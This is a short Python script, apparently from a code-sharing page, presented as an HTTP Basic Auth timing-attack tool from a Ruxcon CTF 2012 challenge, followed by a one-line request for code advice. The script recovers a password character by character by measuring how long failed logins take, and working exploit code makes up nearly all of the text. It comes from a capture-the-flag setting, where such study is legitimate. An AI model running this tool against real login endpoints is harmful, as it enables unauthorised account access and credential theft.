Created
July 26, 2016 18:18
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HTTP Auth Timing attack tool as presented at Ruxcon CTF 2012 simple web challange. The tools tries to use every letter for auth password and construct the entire password upon the longest took authentication request.
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#!/usr/bin/python | |
import requests | |
import datetime | |
import string | |
import sys | |
ALPHABET = string.printable | |
RETRIES = 1 | |
def fetch(url, username, password): | |
a = datetime.datetime.now() | |
r = requests.get(url, auth=requests.auth.HTTPBasicAuth(username, password)) | |
if r.status_code == 200: | |
return 0 | |
b = datetime.datetime.now() | |
return (b - a).total_seconds() | |
def main(url, username): | |
pass_so_far = '' | |
while True: | |
print '\n[>] Password so far: "%s"\n' % pass_so_far | |
times = {} | |
avg_times = {} | |
for p in ALPHABET: | |
times[p] = [] | |
avg_times[p] = 0.0 | |
for i in range(RETRIES): | |
password = pass_so_far + p | |
t = fetch(url, username, password) | |
if t == 0: | |
print 'Password found: "%s"' % password | |
return | |
times[p].append(t) | |
avg_times[p] = sum(times[p]) / float(RETRIES) | |
if ord(p) > 32: | |
print '\tLetter: "%c" - time: %f' % (p, avg_times[p]) | |
max_time = [0,0] | |
for letter, time_ in times.items(): | |
if time_ > max_time[1]: | |
max_time[0] = letter | |
max_time[1] = time_ | |
pass_so_far += max_time[0] | |
if __name__ == '__main__': | |
if len(sys.argv) < 3: | |
print 'usage: http-auth-timing.py <url> <username>' | |
main(sys.argv[1], sys.argv[2]) |
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can you look at my code and give advice
https://github.com/write-exploit/http-auth-timing-attack